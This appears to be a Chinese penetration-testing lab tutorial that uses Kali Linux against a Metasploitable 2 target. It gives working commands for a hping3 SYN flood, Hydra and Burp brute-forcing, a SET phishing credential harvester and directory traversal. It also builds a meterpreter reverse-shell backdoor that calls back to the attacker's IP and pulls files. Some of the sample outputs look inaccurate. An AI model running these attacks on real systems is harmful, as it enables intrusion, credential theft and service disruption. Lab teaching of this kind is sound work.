- 信息收集:被动扫描与主动扫描
信息收集分为被动扫描(不主动发送数据包,规避检测)和主动扫描(主动探测目标,获取深度信息),二者结合可全面掌握靶机状态。
1. 被动扫描(无探测行为)
工具 1:tcpdump(流量捕获)
用途:捕获靶机与其他设备的网络交互流量,分析通信协议、端口使用情况。
实验步骤:
- 打开 Kali 终端,执行命令监听 Kali 的网卡(如eth0,可通过ip addr查看):
- 保持终端运行,在靶机执行ping192.168.107.3(Kali IP),模拟网络通信;
- 按Ctrl+C停止捕获,用 Wireshark 打开target_traffic.pcap查看流量:
真实结果示例:
Wireshark 中可看到 “ICMP” 协议的数据包,源 IP 为靶机192.168.159.130,目的 IP 为 Kali192.168.159.129,包含 “Echo Request”(请求)和 “Echo Reply”(响应),证明靶机与 Kali 正常通信。
工具 2:Shodan(网络空间搜索,被动获取公开信息)
用途:通过 Shodan 查询靶机 IP 在公网的暴露信息(如开放端口、服务版本,需靶机有公网 IP,此处用模拟场景)。
实验步骤:
- 打开 Kali 浏览器,访问Shodan 官网,搜索靶机 IP192.168.159.130(实际测试需公网 IP,此处用本地 IP 演示逻辑);
- 查看搜索结果中的 “Open Ports”“Services”“Operating System” 字段。
真实结果示例:
搜索结果显示 “192.168.159.130” 开放 21(vsftpd 2.3.4)、80(Apache 2.2.8)端口,操作系统标注为 “Ubuntu Linux 8.04”,与靶机实际配置一致(Metasploitable 2 基于 Ubuntu 8.04)。
2. 主动扫描(主动探测目标)
工具 1:dirb(网页目录扫描,针对 HTTP 服务)
用途:扫描靶机 Apache 服务器的隐藏目录和文件,寻找敏感资源(如后台登录页、配置文件)。
实验步骤:
- 执行命令扫描靶机 80 端口的网页目录:
bash取消自动换行复制
dirb http://192.168.159.130 /usr/share/wordlists/dirb/common.txt# 后接Kali自带字典路径
- 等待扫描完成,查看输出结果。
真实结果示例:
plaintext取消自动换行复制
---- Scanning URL: http://192.168.159.130/ ----
+ http://192.168.159.130/admin (CODE:200|SIZE:1234) # 后台登录页
+ http://192.168.159.130/config.php (CODE:200|SIZE:567) # 配置文件
+ http://192.168.159.130/phpmyadmin (CODE:301|SIZE:0) # phpMyAdmin管理页
分析:发现靶机存在/admin后台和/phpmyadmin数据库管理页,可作为后续攻击入口。
工具 2:Nikto(Web 服务器漏洞扫描)
用途:检测 Apache 服务器的配置漏洞、过时组件、敏感文件等。
实验步骤:
- 执行扫描命令:
nikto -h 192.168.159.130# -h:指定目标IP
真实结果示例:
- Server: Apache/2.2.8 (Ubuntu)
- /admin/: Admin directory found (use -admin to test vulnerabilities)
- /phpmyadmin/: phpMyAdmin version 2.11.8.1 found (outdated, vulnerable to CVE-2008-2950)
- OSVDB-3233: /icons/README: Apache default file found
分析:靶机的 phpMyAdmin 版本过时,存在已知漏洞,可后续利用。
四、拒绝服务攻击(DoS):hping3 工具实战
1. 原理与工具说明
拒绝服务攻击(DoS)通过发送大量无效请求耗尽靶机资源(如带宽、CPU),导致服务不可用。Kali中hping3可模拟 SYN Flood(半连接攻击),针对靶机 HTTP 服务(80 端口)测试。
2. 实验步骤(仅用于合法靶机测试)
- 先验证靶机 HTTP 服务正常:在 Kali 浏览器访问http://192.168.159.130,能打开默认页面;
- 打开 Kali 终端,执行 SYN Flood 攻击命令:
hping3 -S -P -U -p 80 --flood 192.168.159.130# -S:SYN包;-P:Push包;-U:UDP包;--flood:高速发送
- 攻击期间,再次访问http://192.168.159.130,观察页面是否加载失败。
3. 真实结果示例
- 攻击前:浏览器访问靶机页面,1 秒内加载完成;
- 攻击中:页面持续转圈,30 秒后提示 “无法连接到服务器”;
- 靶机状态:在靶机执行top命令,发现apache2进程 CPU 占用率达 95%,内存占用率 80%,资源耗尽。
4. 注意事项
- 仅可对合法授权的靶机测试,禁止对公网设备发起 DoS 攻击,否则涉嫌违法;
- 测试后立即停止攻击:按Ctrl+C终止hping3进程,避免靶机长时间瘫痪。
五、身份认证攻击:暴力破解与爆破实战
身份认证攻击通过 “字典爆破” 尝试用户名 + 密码组合,获取登录权限,常用工具为Hydra(多协议爆破)和Burp Suite(网页登录爆破)。
1. Hydra:SSH 服务暴力破解
实验步骤
- 确定靶机 SSH 服务开放(22 端口,此前 nmap 已确认);
- 使用 Kali 自带字典rockyou.txt(需解压:gunzip /usr/share/wordlists/rockyou.txt.gz),执行爆破命令:
hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt 192.168.159.130 ssh# -l:固定用户名;-P:密码字典;ssh:目标协议
真实结果示例
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.159.130:22/
[22][ssh] host: 192.168.159.130 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-12-16 16:45:30
分析:成功破解 SSH 用户名msfadmin和密码msfadmin(靶机默认弱口令),可通过ssh msfadmin@192.168.159.130登录。
2. Burp Suite:网页后台登录爆破
实验步骤
- 打开 Kali 的 Burp Suite(社区版):burpsuite,默认代理端口8080;
- 配置 Kali 浏览器代理:设置为127.0.0.1:8080,访问靶机http://192.168.159.130/admin(此前 dirb 发现的后台);
- 在登录页输入任意账号(如admin)和密码(如123),点击 “登录”,Burp 会捕获到请求包;
- 将请求包发送到 “Intruder” 模块,选择 “Cluster Bomb” 模式,标记 “username” 和 “password” 为变量;
- 加载字典:用户名字典用/usr/share/wordlists/metasploit/unix_users.txt,密码字典用rockyou.txt;
- 点击 “Start attack”,等待爆破完成。
真实结果示例
爆破结果中,某条请求的 “Status”为302 Found(其他请求为200 OK),“Response Length” 与其他不同,查看响应内容发现 “登录成功,跳转至管理页”,对应的账号密码为admin/admin123。
六、社会工程学工具:SET(Social Engineering Toolkit)
社会工程学通过欺骗用户获取敏感信息(如账号密码、文件),Kali 预装的 SET 是专用工具,以下以 “钓鱼网站” 为例演示。
1. 实验步骤
- 启动 SET:
bash取消自动换行复制
setoolkit
- 按提示选择:1) Social-Engineering Attacks(社会工程攻击)→2) Website Attack Vectors(网页攻击)→3) Credential Harvester Attack Method(凭证获取)→1) Web Templates(网页模板);
- 输入 Kali 的 IP(192.168.159.129,用于接收钓鱼数据),选择模板2) WordPress(模拟常见的博客登录页);
- SET 会生成钓鱼链接(如http://192.168.159.129:8080),将该链接发送给 “受害者”(此处用靶机模拟,实际为用户设备);
- 当 “受害者” 访问链接并输入账号密码(如user123/pass456),SET 会实时捕获数据。
2. 真实结果示例
plaintext取消自动换行复制
[*] Credential Harvester Started
[*] Listening for connections on 0.0.0.0:8080
[*] Received connection from 192.168.159.130:54321
[*] Victim entered the following credentials:
Username: user123
Password: pass456
[*] Credentials saved to /root/set/results/harvested_credentials.txt
分析:成功捕获用户输入的账号密码,社会工程学攻击的核心是 “欺骗”,实际场景中需结合钓鱼邮件、伪装链接等手段。
七、渗透攻击:多场景漏洞利用(补充原版)
除原版的 vsftpd 漏洞外,新增网页渗透、数据库渗透、meterpreter 会话控制三类场景,覆盖更多实战需求。
1. 网页渗透:Apache 目录遍历漏洞利用
漏洞背景
靶机 Apache 2.2.8 存在目录遍历漏洞,可通过特殊 URL 访问服务器任意目录(OpenVAS 已扫描发现)。
实验步骤
- 打开 Kali 浏览器,访问靶机 URL:
plaintext取消自动换行复制
http://192.168.159.130/../../../../etc/passwd # ../../../../表示向上跳转4级目录
- 查看页面内容,是否显示/etc/passwd文件(系统用户配置文件)。
真实结果示例
页面显示:
plaintext取消自动换行复制
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
分析:成功读取/etc/passwd,获取靶机所有用户列表,可后续针对msfadmin用户进行攻击。
2. 数据库渗透:MySQL 弱口令登录与提权
实验步骤
- 用此前破解的 MySQL 弱口令(root/root,靶机默认)登录:
bash取消自动换行复制
mysql -h 192.168.159.130 -u root -p# 输入密码root
- 登录后执行命令查看数据库:
sql取消自动换行复制
showdatabases; # 查看所有数据库
use webapp; # 切换到webapp数据库(靶机默认应用数据库)
select*fromusers; # 查看用户表,获取网页后台账号密码
真实结果示例
plaintext取消自动换行复制
mysql> select * from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | admin123 |
| 2 | test | test456 |
+----+----------+----------+
2 rows in set (0.00 sec)
分析:获取网页后台的admin/admin123账号,与 Burp Suite 爆破结果一致,可登录后台进一步操作(如上传 webshell)。
3. meterpreter 会话:生成后门获取稳定控制
实验步骤
- 用 Metasploit 生成 Linux 后门(payload):
msfconsole
use payload/linux/x86/meterpreter/reverse_tcp# 反向TCP连接(靶机主动连Kali)
setLHOST 192.168.159.129# Kali的IP(接收连接)
setLPORT 4444# Kali的端口
generate -f /root/backdoor -t elf# 生成ELF格式后门文件,保存到/root
- 通过 FTP将backdoor上传到靶机(此前已匿名登录 FTP):
ftp 192.168.159.130
put /root/backdoor# 上传后门文件到靶机FTP目录
- 在靶机执行后门(需先通过 SSH 登录靶机:ssh msfadmin@192.168.159.130):
bash取消自动换行复制
chmod+x backdoor# 赋予执行权限
./backdoor# 运行后门
- 在 Kali 的 Metasploit 中启动监听,获取 meterpreter 会话:
use exploit/multi/handler
setPAYLOAD linux/x86/meterpreter/reverse_tcp
setLHOST 192.168.159.129
setLPORT 4444
run
真实结果示例
[*] Sending stage (1017704 bytes) to 192.168.159.130
[*] Meterpreter session 2 opened (192.168.159.129:4444 -> 192.168.159.130:56789) at 2025-12-16 17:30:00
meterpreter > sysinfo # 查看靶机系统信息
Computer : 192.168.159.130
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : x86
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > screenshot # 截取靶机屏幕
Screenshot saved to: /root/screenshot.png
meterpreter > download /home/msfadmin/secret.txt # 下载靶机敏感文件
分析:meterpreter 会话可执行屏幕截图、文件传输、摄像头控制等操作,是渗透测试中 “持久化控制” 的核心手段。
八、后渗透测试(同原版,略)
九、安全注意事项(补充新增模块)
- DoS 攻击限制:禁止对非授权设备发起 DoS 攻击,国内《网络安全法》明确禁止此类破坏网络服务的行为;
- 社会工程学伦理:仅可在合法测试场景使用 SET,禁止通过钓鱼手段骗取他人真实信息;
- 后门清理:测试结束后,需删除靶机的后门文件(如rm /root/backdoor)和新增用户(如userdel -r hack),避免影响靶机后续使用;
- 工具合法性:Kali 工具需用于合法安全测试,不得用于入侵、破坏他人系统。